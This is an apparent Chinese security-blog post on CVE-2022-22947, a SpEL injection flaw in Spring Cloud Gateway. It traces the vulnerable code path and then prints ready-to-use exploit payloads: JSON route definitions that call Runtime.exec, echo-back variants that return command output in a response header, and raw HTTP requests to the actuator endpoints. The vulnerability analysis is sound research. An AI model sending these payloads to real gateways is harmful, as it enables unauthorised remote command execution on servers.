Spring Cloud GateWay CVE-2022-22947 SPEL RCE

admin 2022年4月23日02:21:16Spring Cloud GateWay CVE-2022-22947 SPEL RCE已关闭评论88 views字数 4651阅读15分30秒阅读模式

漏洞简介

Spring Cloud Gateway是Spring Cloud官方推出的第二代网关框架,取代Zuul网关。网关作为流量的,在微服务系统中有着非常作用,网关常见的功能有路由转发、权限校验、限流控制等作用。当启用、暴露和不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。

影响版本

  • Spring Cloud Gateway
  • 3.1.0
  • 3.0.0 to 3.0.6
  • 旧的不受支持的版本

漏洞分析

Predicate

通过 github 上的 commits 记录,定位到漏洞修补代码 如果想要利用 github 比较两个版本的差异,可以构造链接https://github.com/spring-cloud/spring-cloud-gateway/compare/v3.1.0...v3.1.1?diff=split

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

spring-cloud-gateway-server/src/main/java/org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue中利用 GatewayEvaluationContext 替换了原本的 StandardEvaluationContext来执行spel 表达式

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

GatewayEvaluationContext 实际上调用的是 SimpleEvaluationContext方法

StandardEvaluationContextSimpleEvaluationContext都是执行 Spring 的 SpEL 表达式的接口。

SpEL 提供的两个 EvaluationContext ,区别如下:

  • SimpleEvaluationContext - 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
  • StandardEvaluationContext - 公开全套 SpEL 语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java类型引用、构造函数 和 bean引用。所以说指定正确 EvaluationContext ,是防止SpEl表达式注入漏洞产生的首选。

因为采用 StandardEvaluationContext 而产生的 SpEL 注入 也存在历史漏洞 CVE-2018-1273

对 SpEL 的深入了解可以查看这篇文章 SpEL injection

我们下载 3.1.0 的代码 进行分析,定位到漏洞触发点

org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

可以看到判断 rawValue 的值不为空且以 #{ 为开头 } 为结尾时,会进入到不安全的 SpEL 解析方法。

寻找调用 getValue 的位置,四处均在 ShortcutConfigurable 的接口类中的 枚举类ShortcutType

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

枚举类ShortcutType 的三个枚举值中重写了 normalize方法

org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

全局搜索 ShortcutType找出其中调用 normalize 方法

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

通过分析代码可知 normalizeProperties 中所对应的 this.properties 就对应着最终 SpEL 表达式中的内容

normalizeProperties 是对 filter 的属性进行解析,会将 filter 的配置属性传入 normalize 中,最后进入 getValue 执行 SpEL 表达式造成 SpEL 表达式注入。

向上寻找 normalizeProperties 的调用

org.springframework.cloud.gateway.support.ConfigurationService.AbstractBuilder#bind

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#lookup

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

properties 的值由 predicate.getArgs()赋予

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#combinePredicates

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

最后的触发与路由对应的 Predicate 有关,spring cloud gateway 通过谓词(Predicate)来匹配来自用户的请求,不同的谓词对应着不同的效果。

我们在配置文件中添加对应的 SpEL 表达式就可以触发漏洞

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

但是通过修改配置文件能叫 RCE 吗

Spring Cloud GateWay CVE-2022-22947 SPEL RCE
所以还是要正向分析,spring-cloud-gateway 可以通过 Actuator API 在网关中创建和删除路由

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

{
 "id": "first_route",
 "predicates": [{
   "name": "Path",
   "args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"}
}],
 "filters": [],
 "uri": "https://www.uri-destination.org",
 "order": 0
}

添加路由信息完成后,还需要进行刷新

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

http://127.0.0.1:8080/actuator/gateway/refresh

回显方法

{
 "id": "first_route",
 "predicates": [{
   "name": "Path",
   "args": {"_genkey_0":"#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"}
}],
 "filters": [],
 "uri": "https://www.uri-destination.org",
 "order": 0
}

Filters

在另一条链路中发现,通过路由对应的 Filters 也是可以触发漏洞

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#getFilters

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

所以通过构造这样的 poc 也是可以的

{"id":"first_route",
"predicates": [],"filters":[
  {
       "name":"RewritePath",
       "args":{
               "test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"
  }
  }
],
 "uri": "https://www.uri-destination.org",
 "order": 0
}

详细分析一下为什么需要如此构造

org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

添加路由时会调用 validateRouteDefinition

org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#validateRouteDefinition

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#isAvailable(org.springframework.cloud.gateway.filter.FilterDefinition)

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

会判断 Filters 对应的 name 是否存在

  • anyMatch:判断的条件里,任意一个元素成功,返回true
  • allMatch:判断条件里的元素,所有的都是,返回true
  • noneMatch:与allMatch相反,判断条件里的元素,所有的都不是,返回true

for(int i=0;i<this.GatewayFilters.size();i++){     System.out.println(GatewayFilters.get(i).name()); }

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

name 满足其中的任意一个都是可以的

回显方法

org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

将配置内容添加到了响应请求头

{
 "id": "test",
 "filters": [{
   "name": "AddResponseHeader",
   "args": {
     "name": "Result",
     "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
  }
}],
 "uri": "http://example.com"
}

除此之外,这些都是可以的

AddRequestHeader
MapRequestHeader
AddResponseHeader
SetRequestHeader
...

漏洞复现

```
POST /actuator/gateway/routes/testing HTTP/1.1
Host: 127.0.0.1:8080
Content-Type:application/json
Content-Length: 187

{"id":"testing","filters":[
  {
       "name":"RewritePath",
       "args":{
               "test":"#{T(java.lang.Runtime).getRuntime().exec(\"calc.exe\")}"
  }
  }
]
}
```

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Content-Type:application/json

Spring Cloud GateWay CVE-2022-22947 SPEL RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:21:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Spring Cloud GateWay CVE-2022-22947 SPEL RCEhttps://cn-sec.com/archives/917282.html